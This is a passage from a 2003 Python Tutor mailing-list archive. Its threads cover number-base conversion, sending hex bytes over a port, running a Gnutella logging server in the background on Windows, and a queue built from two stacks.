> If you use a GUI you have different possibilities to for
> instance disable a text box or close a window when a certain
> amount of time has passed.
>
>
> --
> Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
> Thinkware AB, Sweden, www.thinkware.se
> I code Python ~ The Agile Programming Language
>
>
> _______________________________________________
> Tutor maillist  -  Tutor@python.org
> http://mail.python.org/mailman/listinfo/tutor
>



From dyoo@hkn.eecs.berkeley.edu  Thu Jun 19 13:53:44 2003
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Thu Jun 19 12:53:44 2003
Subject: [Tutor] What's up (fwd)
Message-ID: <Pine.LNX.4.44.0306190947350.25202-100000@hkn.eecs.berkeley.edu>

Hi Vernon,

I'm forwarding your question to the main Python-tutor list.  But please
send your questions to 'tutor@python.org' next time; the tutor-admin
address is only meant for boring administrative stuff.



---------- Forwarded message ----------
Date: Wed, 18 Jun 2003 20:05:06 -0700
From: Vernon  Miller <vvernon@earthlink.net>
To: tutor-admin@python.org
Subject: What's up

While going through a tutorial this morning, I typed in the following path to a file in order to open it and to write into the file
f = open("C:\Python22\Tools\idle\My Work\i.py","w")
It worked fine because when I opened the file with the interpreter showed that the file contained exactly what I had placed in it.

But when I typed f.readline() the first time it crased the program and closed it down.  After I reopened the interpreter and tried again the output was "\x00" about one thousand times.
So my page looked like this
\x00\x00\x00 line after line of \x00\x00

Finally I closed everything down, reopened the file and started over. This time it worked fine.

By the way, do we have to download the tcl and learn that in order to work with graphics and other such things or is the tcl that is include with python supposed to make it possible to work with graphics from the python interperter.

Thanks very much
Vernon Miller
vvernon@earthlink.net




From patrick@kirks.net  Thu Jun 19 14:23:03 2003
From: patrick@kirks.net (Patrick Kirk)
Date: Thu Jun 19 13:23:03 2003
Subject: [Tutor] TSR in windows
In-Reply-To: <5.2.1.1.0.20030619133943.01ff61d0@www.thinkware.se>
References: <5.2.1.1.0.20030619133943.01ff61d0@www.thinkware.se>
Message-ID: <3EF1F183.3060507@kirks.net>

Works a treat.  Thanks.

Magnus Lyckå wrote:
[...]
> 
> Rename the file from something.py to something.pyw, or alternatively,
> start the program with pythonw.exe instead of python.exe. (That's
> what .pyw is associated with in Windows.)
> 
[..]




From jeff@ccvcorp.com  Thu Jun 19 15:11:49 2003
From: jeff@ccvcorp.com (Jeff Shannon)
Date: Thu Jun 19 14:11:49 2003
Subject: [Tutor] Re: sending hex data on port
References: <20030618125753.17331.h012.c000.wm@mail.stanfield.net.criticalpath.net>
Message-ID: <3EF1FC8A.9070607@ccvcorp.com>

vicki@stanfield.net wrote:

>>What module are you using?  Does it make sense to say
>>port.write(chr(24))?
>>    
>>
>
>That might be it. Is there a function that
>automatically translates between the 0x18 and the chr
>value that I need? I understand how you got the value
>and could write my own, but if it already exists.....
>  
>

This depends on exactly what form you have the 0x18 in.  You can simply 
use port.write(chr(0x18)), but I'm guessing that you want to send the 
contents of a variable, not a constant.  :)  If you have a variable, c, 
which already contains the number 0x18, you can do port.write(chr(c)). 
 If c is, instead, the string "18", and you want to interpret that as a 
hex value, then you can use the radix option of int() -- 
port.write(chr(int("18", 16))).  In essence, your problem now is a 
matter of figuring out how to convert your data source into a series of 
integers, one for each byte you wish to send.

Jeff Shannon
Technician/Programmer
Credit International




From jeff@ccvcorp.com  Thu Jun 19 15:39:02 2003
From: jeff@ccvcorp.com (Jeff Shannon)
Date: Thu Jun 19 14:39:02 2003
Subject: [Tutor] built in functions int(),long()
References: <Law15-F23b8quUyNuDj0001cf82@hotmail.com>
Message-ID: <3EF202FF.5050306@ccvcorp.com>

cino hilliard wrote:

> Hi Greg et al,
> Thanks to all for your replies.
>
> Greg,
> Yes your analysis  it makes sense but not according to the definitions 
> at least as I understand them.
>
> atoi( s[, base]) is not clear and threw me off. Also The radix 
> parameter gives the base for the conversion and may be any integer in 
> the range [2, 36]
> should read The radix parameter gives the base for the string you want 
> to convert to python integer. The Radix  may be any integer  2 to 36. 
> An example would have clarified it.
>
> "Convert string s to an integer in the given base." I interpreted as 
> convert ("123",2) to 111011 base 2. What it really means is convert 
> the string base 2 to decimal.


No, because an integer doesn't have a base associated with it, only the 
representation does.

How many asterisks is this?    *  *  *  *  *  *  *  *  *  *  *  *  *

"13" in base 10
"15" in base 8
"D" in base 16
"11" in base 12
"31" in base 4
"1101" in base 2
"XIII" in Roman ;)

I use quotes because these are symbols (strings) representing something 
else (a number) -- but they all represent the *same* number.  A "pure" 
number doesn't have a base associated with it -- the base describes the 
representation, not the number itself.  The int() function (and atoi(), 
which is really the same thing) will convert a representation (which has 
a base associated with it) to the underlying number (which has no base).  

What has you confused is that Python, when asked to show you an integer, 
will automatically convert that integer into base 10 for display. 
 However, that's a feature of the display, not of the integer itself -- 
it just so happens that for humans, base 10 is easiest to read, so 
Python accommodates us (unless we specifically request otherwise, 
through the use of hex() or similar functions).  Of course, internally 
the computer will store all integers in binary format (base 2), because 
that's the way that computers are wired.

> Question. How can I get convert.base(r1,r2,str) without having to type 
> the quotes for the string?
> Eg., convert(16,10,FFFF) instead of convert(16,10,"FFFF") = 65535 ? 


You can't, because the Python parser would have way of knowing what's 
intended -- is FFFF a string? A hexidecimally-represented integer? A 
variable?  As a matter of fact, the last is exactly how the parser sees 
this -- it looks at FFFF as a variable name, and attempts to look up a 
value for it (probably resulting in a NameError).  You could, in this 
case, specifically designate that it's a hexidecimal number by typing it 
as 0xFFFF -- but then, a function call is unnecessary.  In order for 
Python to see it as a string, which is necessary for the general case of 
converting some arbitrary representation, you need to have quotes.

(I'll refrain from commenting on your code, but it looks very confused 
-- you seem to have both decimal() and ascii() defined twice, among 
other things...)

Jeff Shannon
Technician/Programmer
Credit International




From jeff@ccvcorp.com  Thu Jun 19 15:48:02 2003
From: jeff@ccvcorp.com (Jeff Shannon)
Date: Thu Jun 19 14:48:02 2003
Subject: [Tutor] TSR in windows
References: <5.2.1.1.0.20030619133943.01ff61d0@www.thinkware.se>
Message-ID: <3EF20517.60405@ccvcorp.com>

Magnus Lycke wrote:

> At 12:21 2003-06-19 +0100, Patrick Kirk wrote:
>
>> I'm writing a little application that will log all contact received 
>> on port 6346.  It works a treat except...it leaves a console window 
>> open. Right now I want to learn how to start it in the background and 
>> then I will find a way to give it a System Tray icon.
>
>
> Rename the file from something.py to something.pyw, or alternatively,
> start the program with pythonw.exe instead of python.exe. (That's
> what .pyw is associated with in Windows.)


If this is only to run on Windows with an NT base (NT4, 2K, XP), you can 
also create this as a Windows Service.  This is a somewhat more involved 
process, but it's very well described in the book "Python Programming on 
Win32".  (One of my first significant Python projects runs as a service, 
so it's not hard to do.)  This won't get you a System Tray icon or any 
sort of user interface, but it will get you something that runs reliably 
in the background and restarts itself every time that Windows is rebooted.

If you want something that runs in the system tray, though, you'll need 
to use some sort of GUI toolkit such as wxPython.  I'm not sure how that 
might interact with the service framework, or if it will cooperate at 
all... (Services are generally not meant to have a GUI; those that do, 
it's typically a separate program that saves configuration parameters 
and then restarts the service with the new parameters.)

Jeff Shannon
Technician/Programmer
Credit International




From bgailer@alum.rpi.edu  Thu Jun 19 15:50:05 2003
From: bgailer@alum.rpi.edu (Bob Gailer)
Date: Thu Jun 19 14:50:05 2003
Subject: [Tutor] built in functions int(),long()
In-Reply-To: <3EF202FF.5050306@ccvcorp.com>
References: <Law15-F23b8quUyNuDj0001cf82@hotmail.com>
Message-ID: <5.2.1.1.0.20030619124345.02698410@66.28.54.253>

--=======253F19E2=======
Content-Type: text/plain; x-avg-checked=avg-ok-55CD3CE8; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 8bit

At 11:37 AM 6/19/2003 -0700, Jeff Shannon wrote:
[snip]
 > What has you confused is that Python, when asked to show you an integer, 
will automatically convert that integer into base 10 for
 > display. However, that's a feature of the display, not of the integer 
itself -- it just so happens that for humans, base 10 is easiest to
 > read, so Python accommodates us (unless we specifically request 
otherwise, through the use of hex() or similar functions).  Of
 > course, internally the computer will store all integers in binary format 
(base 2), because that's the way that computers are wired.

"base 10" is ambiguous. We usually interpret that to mean the decimal 
system, but an 8 fingered alien who counts in octal would say "base 10" and 
it would mean octal.

Bob Gailer
bgailer@alum.rpi.edu
303 442 2625

--=======253F19E2=======
Content-Type: text/plain; charset=us-ascii; x-avg=cert; x-avg-checked=avg-ok-55CD3CE8
Content-Disposition: inline


---
Outgoing mail is certified Virus Free.
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.488 / Virus Database: 287 - Release Date: 6/5/2003

--=======253F19E2=======--



From vicki@stanfield.net  Thu Jun 19 16:59:10 2003
From: vicki@stanfield.net (vicki@stanfield.net)
Date: Thu Jun 19 15:59:10 2003
Subject: [Tutor] Re: sending hex data on port
Message-ID: <20030619125828.26418.h014.c000.wm@mail.stanfield.net.criticalpath.net>

Okay. I appreciate the effort expended on my behalf. I
understand the whole hex/dec/bit/byte issue much more
than I did. I put a protocol analyzer in the loop and
determined that I am sending the right stuff, but the
device that I am interfacing with is not responding
correctly. That is an entirely different problem.
Thanks again for the lessons.

--vicki


From patrick@kirks.net  Thu Jun 19 17:00:02 2003
From: patrick@kirks.net (Patrick Kirk)
Date: Thu Jun 19 16:00:02 2003
Subject: [Tutor] TSR in windows
In-Reply-To: <3EF20517.60405@ccvcorp.com>
References: <5.2.1.1.0.20030619133943.01ff61d0@www.thinkware.se> <3EF20517.60405@ccvcorp.com>
Message-ID: <3EF21619.6020201@kirks.net>

Its a simple gnutella servent so system tray will be needed as people 
don't like p2p apps that run silently.





From patrick@kirks.net  Thu Jun 19 18:00:03 2003
From: patrick@kirks.net (Patrick Kirk)
Date: Thu Jun 19 17:00:03 2003
Subject: [Tutor] Why does this kill PythonWin IDE?
Message-ID: <3EF2243C.9030408@kirks.net>

This is a multi-part message in MIME format.
--------------050809080405070600080700
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Running this script in PythonWin IDE cause a hung app.  Could anyone run 
thsi for me as a test?  I just need to check if i'st the script or have 
I a problem with PythonWin IDE
-- 

Best regards,


Patrick Kirk
Mobile: 07876 560 646



--------------050809080405070600080700
Content-Type: text/plain;
 name="server.py"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="server.py"

#! /usr/bin/env python
from re import *			# get regex stuff
from socket import *			# get socket stuff
myHost = ''			# localhost
myPort = 6346				# free port 

# Create listener and process input
def createSocket():
	sockobj = socket(AF_INET, SOCK_STREAM)		# makes socket object
	sockobj.bind((myHost, myPort))			# binds it to server and port
#	if sockobj	< 1:
#		print "cannot open socket "
	sockobj.listen(50)				# listen allowing 50 connections
	
	
	while 1:				# listen 'til process killed
		connection, address = sockobj.accept()	# waiting for connection
		data = connection.recv(1024)	# read next line on client socket
		
		handshake0 = 'GNUTELLA CONNECT'
		handshakeRequest = data.find(handshake0)
		request = 'GET '
		fileRequest = data.find(request)
		if fileRequest > -1:
			logGETs = open("GETsLog.html", "a")
			logGETs.write('\r\n')
			logGETs.write("'Server connected by ', address")
			logGETs.write('\n')
			logGETs.write(data)
			logGETs.close()
			connection.send('GNUTELLA/0.6 503 Full\r\n') # Gently say I can't help.
			connection.close()  # Rude but how does one say NO?
		
		elif handshakeRequest > -1:
			connection.send('GNUTELLA/0.6 200 OK\r\n' ) # lets see what reply we get
			if not data: break		# send reply line to client
			logHandshake = open("handshakeLog.html", "a")
			logHandshake.write('\r\n')
			logHandshake.write(data)
			logHandshake.close()
			connection.close()
	                
	    	else:
			logOthers = open("othersLog.html", "a")
			logOthers.write('\r\n')
			logOthers.write(data)
			logOthers.close()
			connection.send('GNUTELLA/0.6 503 Full\r\n') 	# Gently say I can't help.
			connection.close()

createSocket()
--------------050809080405070600080700--



From alan.gauld@blueyonder.co.uk  Thu Jun 19 18:05:03 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Thu Jun 19 17:05:03 2003
Subject: [Tutor] What's up (fwd)
References: <Pine.LNX.4.44.0306190947350.25202-100000@hkn.eecs.berkeley.edu>
Message-ID: <003901c336a6$25c71160$6401a8c0@xp>

> By the way, do we have to download the tcl and learn 
> that in order to work with graphics and other such things 
> or is the tcl that is include with python supposed to make 
> it possible to work with graphics from the python interperter.

Sounds like its my tutor that you are reading. At the time I 
wrote it Tcl was included with Python but the latest versions 
don't need it, they just include a couple of DLLs and a few 
sample files.

You don't need Tcl to create graphics in Python but the
underlying GUI tookkit is built on top of Tcl, but that 
is pretty much invisible to you.

Alan G
Author of the Learn to Program web tutor
http://www.freenetpages.co.uk/hp/alan.gauld



From dyoo@hkn.eecs.berkeley.edu  Thu Jun 19 18:12:02 2003
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Thu Jun 19 17:12:02 2003
Subject: [Tutor] why is list.pop(0) slow?  [heapq in Python 2.3 / Queues
 with Stacks]
In-Reply-To: <3EF17032.5030708@home.wari.org>
Message-ID: <Pine.LNX.4.44.0306191340310.8997-100000@hkn.eecs.berkeley.edu>


> >If you can tell us more details about what you're expecting to do with
> >your lists (lots of deletes, lots of inserts, etc.), we can probably
> >chat about efficiency issues on Python-Tutor.
>
> Well, I've managed to solve these issues by:
>
>  * Not caring about speed :) (Yeah, we'll wait for 18 months more for
>    speeds to double up)
>  * Used a queue and heap data structures for priorities as well as a
>    FIFO style store.

Hi Wari,


Sounds good.  The Standard Library will actually include a new 'heapq'
module soon:

    http://www.python.org/dev/doc/devel/lib/module-heapq.html


So if you are doing that pop/push work to implement a priority queue, you
might be able to just yank the 'heapq' module out of Python 2.3 and make
it work in Python 2.2.




As a random note: there's a very concise and cute way of efficiently
implementing a FIFO Queue by using two Stacks.  Python's Lists act
marvelously as a stack-like data structure, and it's kinda cool to see
that we can get an efficient Queue out of them:

###
>>> class Queue:
...     """A sample implementation of a First-In-First-Out
...        data structure."""
...     def __init__(self):
...         self.in_stack = []
...         self.out_stack = []
...     def push(self, obj):
...         self.in_stack.append(obj)
...     def pop(self):
...         if not self.out_stack:
...             while self.in_stack:
...                 self.out_stack.append(self.in_stack.pop())
...         return self.out_stack.pop()
...
>>> q = Queue()
>>> q.push("a")
>>> q.push("b")
>>> q.push("c")
>>> q.pop()
'a'
>>> q.push("d")
>>> q.pop()
'b'
>>> q.pop()
'c'
>>> q.pop()
'd'
>>> q.push("e")
>>> q.push("f")
>>> q.pop()
'e'
>>> q.pop()
'f'
>>> q.pop()
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
  File "<stdin>", line 13, in pop
IndexError: pop from empty list
###


And this implementation does pop(0) in constant time: it'll be fast,
regardless of the size of our input.  The above queue implementation is
pretty standard in Computer Science literature.  (It's Exercise 14 in
TAOCP Section 2.2.1.)  So even if lists, by themselves, don't support
pop(0) efficiently, with a little knowledge, we can bend them to do pop(0)
fast.


Hope this helps!



From greg@gregmchapman.info  Thu Jun 19 18:21:43 2003
From: greg@gregmchapman.info (Greg Chapman)
Date: Thu Jun 19 17:21:43 2003
Subject: [Tutor] Why does this kill PythonWin IDE?
Message-ID: <JOENINDGJDPMGHODEHKLAEJGCCAA.greg@gregmchapman.info>

On my machine this hangs while waiting for the connection (determined
by using the PythonWin debugger).  Could this be your problem?
<snip>
	while 1:				# listen 'til process killed
		connection, address = sockobj.accept()	# waiting for connection
<----- Hangs here -----
<snip>

-----Original Message-----
From: tutor-admin@python.org [mailto:tutor-admin@python.org]On Behalf
Of
Patrick Kirk
Sent: Thursday, June 19, 2003 2:00 PM
To: Python Tutor List
Subject: [Tutor] Why does this kill PythonWin IDE?


Running this script in PythonWin IDE cause a hung app.  Could anyone
run
thsi for me as a test?  I just need to check if i'st the script or
have
I a problem with PythonWin IDE
--

Best regards,


Patrick Kirk
Mobile: 07876 560 646






From greg@gregmchapman.info  Thu Jun 19 18:27:01 2003
From: greg@gregmchapman.info (Greg Chapman)
Date: Thu Jun 19 17:27:01 2003
Subject: [Tutor] Why does this kill PythonWin IDE?
Message-ID: <JOENINDGJDPMGHODEHKLGEJGCCAA.greg@gregmchapman.info>

oops!  funky word wrapping in my last post, sorry about that.

On my machine this hangs while waiting for the connection (determined
by using the PythonWin debugger).  Could this be your problem?
<snip>
	while 1:				# listen 'til process killed
		connection, address = sockobj.accept()	# waiting for connection
                                          ^^^Hangs here 
<snip>

greg

-----Original Message-----
From: tutor-admin@python.org [mailto:tutor-admin@python.org]On Behalf
Of
Patrick Kirk
Sent: Thursday, June 19, 2003 2:00 PM
To: Python Tutor List
Subject: [Tutor] Why does this kill PythonWin IDE?


Running this script in PythonWin IDE cause a hung app.  Could anyone
run
thsi for me as a test?  I just need to check if i'st the script or
have
I a problem with PythonWin IDE
--

Best regards,


Patrick Kirk
Mobile: 07876 560 646





_______________________________________________
Tutor maillist  -  Tutor@python.org
http://mail.python.org/mailman/listinfo/tutor




From patrick@kirks.net  Thu Jun 19 18:33:23 2003
From: patrick@kirks.net (Patrick Kirk)
Date: Thu Jun 19 17:33:23 2003
Subject: [Tutor] Why does this kill PythonWin IDE?
In-Reply-To: <JOENINDGJDPMGHODEHKLGEJGCCAA.greg@gregmchapman.info>
References: <JOENINDGJDPMGHODEHKLGEJGCCAA.greg@gregmchapman.info>
Message-ID: <3EF22C2B.9080101@kirks.net>

But it appears to work when I make a server.pyw file.

Can an improvement be suggested?

Greg Chapman wrote:

> oops!  funky word wrapping in my last post, sorry about that.
> 
> On my machine this hangs while waiting for the connection (determined
> by using the PythonWin debugger).  Could this be your problem?
> <snip>
> 	while 1:				# listen 'til process killed
> 		connection, address = sockobj.accept()	# waiting for connection
>                                           ^^^Hangs here 
> <snip>
> 
> greg
> 
> -----Original Message-----
> From: tutor-admin@python.org [mailto:tutor-admin@python.org]On Behalf
> Of
> Patrick Kirk
> Sent: Thursday, June 19, 2003 2:00 PM
> To: Python Tutor List
> Subject: [Tutor] Why does this kill PythonWin IDE?
> 
> 
> Running this script in PythonWin IDE cause a hung app.  Could anyone
> run
> thsi for me as a test?  I just need to check if i'st the script or
> have
> I a problem with PythonWin IDE
> --
> 
> Best regards,
> 
> 
> Patrick Kirk
> Mobile: 07876 560 646
> 
> 
> 
> 
> 
> _______________________________________________
> Tutor maillist  -  Tutor@python.org
> http://mail.python.org/mailman/listinfo/tutor
> 

-- 

Best regards,


Patrick Kirk
Mobile: 07876 560 646




From jeff@ccvcorp.com  Thu Jun 19 18:39:04 2003
From: jeff@ccvcorp.com (Jeff Shannon)
Date: Thu Jun 19 17:39:04 2003
Subject: [Tutor] Why does this kill PythonWin IDE?
References: <3EF2243C.9030408@kirks.net>
Message-ID: <3EF22CFD.4070306@ccvcorp.com>

Patrick Kirk wrote:

> Running this script in PythonWin IDE cause a hung app.  Could anyone 
> run thsi for me as a test?  I just need to check if i'st the script or 
> have I a problem with PythonWin IDE 


There's nothing wrong with PythonWin or your script.  It's doing exactly 
what you told it to do -- which is to wait forever, continually checking 
the socket to see if anything is coming in.  It doesn't pay attention to 
anything else while it's doing that.  Because PythonWin executes code 
in-process, that means that PythonWin can't do anything itself -- it's 
waiting for your script to finish, and your script never finishes 
(because you told it to continue forever).

Any code that is designed to run forever (until killed) needs to be run 
in a separate process (or at least a separate thread).  The simple way 
to do this is to start a command (DOS) window to execute the script.

Jeff Shannon
Technician/Programmer
Credit International






From jeff@ccvcorp.com  Thu Jun 19 18:41:55 2003
From: jeff@ccvcorp.com (Jeff Shannon)
Date: Thu Jun 19 17:41:55 2003
Subject: [Tutor] Why does this kill PythonWin IDE?
References: <JOENINDGJDPMGHODEHKLGEJGCCAA.greg@gregmchapman.info> <3EF22C2B.9080101@kirks.net>
Message-ID: <3EF22DCE.3000901@ccvcorp.com>

Patrick Kirk wrote:

> But it appears to work when I make a server.pyw file. 


That's because running the .pyw file spawns a new process.  That new 
process is still stuck in that loop waiting for a connection, but 
PythonWin has nothing to do with it, and so can operate normally.

Jeff Shannon
Technician/Programmer
Credit International




From magnus@thinkware.se  Thu Jun 19 20:08:01 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Thu Jun 19 19:08:01 2003
Subject: [Tutor] built in functions int(),long()
In-Reply-To: <5.2.1.1.0.20030619124345.02698410@66.28.54.253>
References: <3EF202FF.5050306@ccvcorp.com>
 <Law15-F23b8quUyNuDj0001cf82@hotmail.com>
Message-ID: <5.2.1.1.0.20030620005427.01f137c8@www.thinkware.se>

At 12:47 2003-06-19 -0600, Bob Gailer wrote:
>"base 10" is ambiguous. We usually interpret that to mean the decimal 
>system, but an 8 fingered alien who counts in octal would say "base 10" 
>and it would mean octal.

Oh no Bob. There are only 10 reasonable ways to
understand the number 10. The right way, and the
wrong way! :)

Actually, it might be better to write "base(9+1)"...

(Now you know it, I'm a dolphin and I only have
two flippers... ;)

It's funny btw, I've mentioned before that I feel
that Jeff Shannon often seem to write just what I
am thinking, and today (oops, yesterday, it's past
midnight again) we both felt that we had to print
a sequence of asterisks to present numbers. Maybe
that's the only unambiguous way?

Base(* * * * * * * * * *) ?

Perhaps the positional number system is fundamentally
flawed?

(Or as the father in Patric Leconte's "The Hairdresser's
Husband" put it: "What is the difference between an
ordinary dog and a binary dog?
The ordinary dog has one head, one tail and four legs.
The binary dog has one head, one tail, one leg, one leg,
one leg and one leg." :)


--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The Agile Programming Language 



From hillcino368@hotmail.com  Thu Jun 19 20:24:02 2003
From: hillcino368@hotmail.com (cino hilliard)
Date: Thu Jun 19 19:24:02 2003
Subject: [Tutor] RE: Base converter bases 2-62
Message-ID: <Law15-F82kluw0WCHBt00014aa3@hotmail.com>

Hi,
   I cleaned up the origional post and present it  below. The org code got 
duplicated.

I have created a base converter in python to take advantage of the arbitrary 
integer precision and
provide an alternative to the one way function of int(s,[radix]) and 
long(s,[radix]).

Copy, paste, import and try the example in the comments. Maybe the  script 
could be simplified more
to python syntax and be included in a python release xxx. The long(a,radix) 
int(a,radix) only converts a
string from a base 2 to 36 to base 10. The module below overcomes this 
limitation and then some.

Question. How can I get convert.base(r1,r2,str) without having to type the 
quotes for the st?
Eg., convert.base(16,10,FFFF) instead of convert.base(16,10,"FFFF") = 65535 
? This is required only if out of 0 - 9 range. convert(16,10,255) = FF works 
fine

Jeff Shannon attempted to answer this with no. I am not convinced it cannot 
be done. In dos the command tail can be mixed and python should be able to 
read convert.base(16,10,FFFF). I will figure it out and post later. I may 
have to got the route
import sys
r1 = long(sys.argv[1])   #convert the first argument in the command tail to 
long
r1 = long(sys.argv[2])   #convert the second argument in the command tail to 
long
num = str(sys.argv[3])   #convert the third argument in the command tail to 
string
Can't is not in my vocabulary. :-)


#Module convert.py      def base()    convert bases  from 2 to 62 char 0-9, 
A-Z,a-z  format
#                                           By Cino Hilliard
# usage: >>> import convert
#           >>> convert.base(base from,base to,'value string')
#
#convert.base(10,62,"1956790901451511461242225989521377674044432983494703")

def base(r1,r2,num):            #convert the string in base r1 to  a string 
in base r2
    import math                    #we need this to get the power  of
    num = str(num)
    dec = 0                          #Clear to allow loop input per  base
    ln  = len(num)                 #save length of string to convert for 
later parsing
    j=0
    while j < ln:                     #parse the input string
        asci = ord(num[j])        #Get the ascii code of the char in string 
to convert
        temp   = r1**(ln-j-1)    #Compute the powers of the radix to convert 
from
        ascii2 = decimal(asci)     #Get the decimal value of the  ascii code
        dec += ascii2*temp      #Multiply by decimal value and  power of 
radix
        j+=1
    RDX = ""
    PWR = math.log(dec)/math.log(r2)     #Get max power of r2 the  radix to 
convert to
    j = int(PWR)
    while j >= 0:                                    #Divide by descending  
powers of the radix to
        Q   = dec/(r2**j)                          #get the ascii values
        dec = dec%(r2**j)                       #get the remainder of 
divison for next division
        tmp = chr(ascii(Q))
        RDX = RDX + tmp                         #Concatenate the output 
string
        j-=1
    print RDX                                         #Return the converted 
r1 to r2 radix string
def ascii(Q1):
    if   Q1 < 10:                                    # 0-9 = ascii 48 - 57
         Q1+= 48
    else:
         if Q1 > 9 and Q1 < 36:                # A-Z = ascii 65 - 90
              Q1+= 55
         else:
              Q1+= 61                              # a-z = ascii 97 - 122
    return Q1
def decimal(Q1):                                  # 0 - 9 < ascii 58
    if   Q1 < 58:
         Q1-= 48
    else:
         if Q1 > 57 and Q1 < 97:              # A - Z < ascii 97
              Q1-= 55
         else:
              Q1-= 61                               # a - z = ascii 97 - 122
    return Q1

>>>convert.base(10,62,"3996168503701201585343125040165201358016538092484388"
PythonIsAVeryPowerfulLanguage

>>>convert.base(62,10,"11JJEO8uplRL22r3MHTOCMqG6JAoq13eZ63xNsSGcA")

Have fun in the facinating world of numbers.

662042196960720285629 base 62

  3         3        3         3        3        6            2              
  (0^0)
2   +  13  +  33  +  43  =  49   =  7    =  343   = 117649

_________________________________________________________________
MSN 8 with e-mail virus protection service: 2 months FREE*  
http://join.msn.com/?page=features/virus



From magnus@thinkware.se  Thu Jun 19 20:35:01 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Thu Jun 19 19:35:01 2003
Subject: [Tutor] why is list.pop(0) slow?  [heapq in Python 2.3 /
 Queues with Stacks]
In-Reply-To: <Pine.LNX.4.44.0306191340310.8997-100000@hkn.eecs.berkeley.
 edu>
References: <3EF17032.5030708@home.wari.org>
Message-ID: <5.2.1.1.0.20030620012336.01f477d0@www.thinkware.se>

At 14:11 2003-06-19 -0700, Danny Yoo wrote:
>As a random note: there's a very concise and cute way of efficiently
>implementing a FIFO Queue by using two Stacks.  Python's Lists act
>marvelously as a stack-like data structure, and it's kinda cool to see
>that we can get an efficient Queue out of them:
>
>###
> >>> class Queue:
>...     """A sample implementation of a First-In-First-Out
>...        data structure."""
[snip]

This was interesting. Maybe I should actually read my Knuth,
not just let it look good and collect dust in the book shelf...
I guess I got a bit annoyed by his imaginary processor and
it's obscure assembler, and little jokes such as including
an exercise where you're supposed to prove Fermat's Theorem.
(I also like my thin old Aho, Hopcroft, Ullman.)

I did a quick comparision between Danny's class and a naive
pop(0) based implementation thoigh. See code below.

I just push a range of ints and then pop them. See the test
function below. Note the dummy test. This is needed, since the
first test run in the profiler has an extra overhead of 0.3
CPU seconds or so on my computer!!! Is it loading a module?

In my test, Danny's class is faster at about 2 000 elements.
At 30 000 elements, it's about four times faster, and the
difference will continue to grow.

class Queue1:
     """A sample implementation of a First-In-First-Out
        data structure."""
     def __init__(self):
         self.in_stack = []
         self.out_stack = []
     def push(self, obj):
         self.in_stack.append(obj)
     def pop(self):
         if not self.out_stack:
             while self.in_stack:
                 self.out_stack.append(self.in_stack.pop())
         return self.out_stack.pop()

class Queue2:
     def __init__(self):
         self._stack = []
     def push(self, obj):
         self._stack.append(obj)
     def pop(self):
         return self._stack.pop(0)

def test(q, n):
     for i in range(n):
         q.push(i)
     for i in range(n):
         q.pop()

def dummy():
         pass

import profile, sys

n = int(sys.argv[1])
profile.run('dummy()')
profile.run('test(Queue1(), %i)' % n)
profile.run('test(Queue2(), %i)' % n)



--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The Agile Programming Language 



From zak@harlekin-maus.com  Thu Jun 19 20:39:01 2003
From: zak@harlekin-maus.com (Zak Arntson)
Date: Thu Jun 19 19:39:01 2003
Subject: [Tutor] Attaching methods to class instances
Message-ID: <2856.192.207.104.240.1056065891.squirrel@mail.harlekin-maus.com>

Hello again, more weird object stuff. I've created a class Object which
not only allows dynamic attaching of attributes and methods. One of the
things I want to provide is the ability to attach both variables AND
methods (that return a variable) to an instance on the fly. For example:

###
pipe = Object()
pipe.give(name="Green Pipe",
          desc="A filthy green pipe.",
          a_weight=10)

print pipe.name()
print pipe.desc()
print pipe.weight
###

This would output the following:

###
Green Pipe
A filthy green pipe.
10
###

Now, I solved the problem, but it required the addition of a _dummy()
method. Here's the source:

###
class Object:
    ## ... other methods ...
    def attach(self, func, name=None):
        setattr(self,
                name or func.__name__,
                new.instancemethod(func, self, Object))

    def give(self, **args):
        for key in args:
            if key.startswith('a_'):
                if key[2:]:
                    setattr(self, key[2:], args[key])
            else:
                self.attach(self._dummy(args[key]), key)

    def _dummy(self, value):
        def f(self):
            return value
        return f
###

As you can see, I had to create a _dummy method. If I replaced
###
            else:
                self.attach(self._dummy(args[key]), key)
###

with

###
            else:
                def f(self):
                    return args[key]
                self.attach(f, key)
###

The new method would ALWAYS return whatever the last value of args[key] was.
Blech. Hence the addition of _dummy. But is there a cleaner way to do this?

---
Zak Arntson
www.harlekin-maus.com - Games - Lots of 'em




From jeff@ccvcorp.com  Thu Jun 19 20:58:02 2003
From: jeff@ccvcorp.com (Jeff Shannon)
Date: Thu Jun 19 19:58:02 2003
Subject: [Tutor] built in functions int(),long()
References: <3EF202FF.5050306@ccvcorp.com> <Law15-F23b8quUyNuDj0001cf82@hotmail.com> <5.2.1.1.0.20030620005427.01f137c8@www.thinkware.se>
Message-ID: <3EF24DDC.7070801@ccvcorp.com>

Magnus Lycke wrote:

>
> It's funny btw, I've mentioned before that I feel
> that Jeff Shannon often seem to write just what I
> am thinking, and today (oops, yesterday, it's past
> midnight again) we both felt that we had to print
> a sequence of asterisks to present numbers. Maybe
> that's the only unambiguous way?


Heh, actually, I must confess -- I read your comment before composing 
mine, and stole that idea from you. ;)  It may not be the only 
unambiguous way, but it *is* clear and easy to grasp, so I went with it.  

Jeff Shannon
Technician/Programmer
Credit International




From magnus@thinkware.se  Thu Jun 19 21:02:02 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Thu Jun 19 20:02:02 2003
Subject: [Tutor] RE: Base converter bases 2-62
In-Reply-To: <Law15-F82kluw0WCHBt00014aa3@hotmail.com>
Message-ID: <5.2.1.1.0.20030620015119.01f56940@www.thinkware.se>

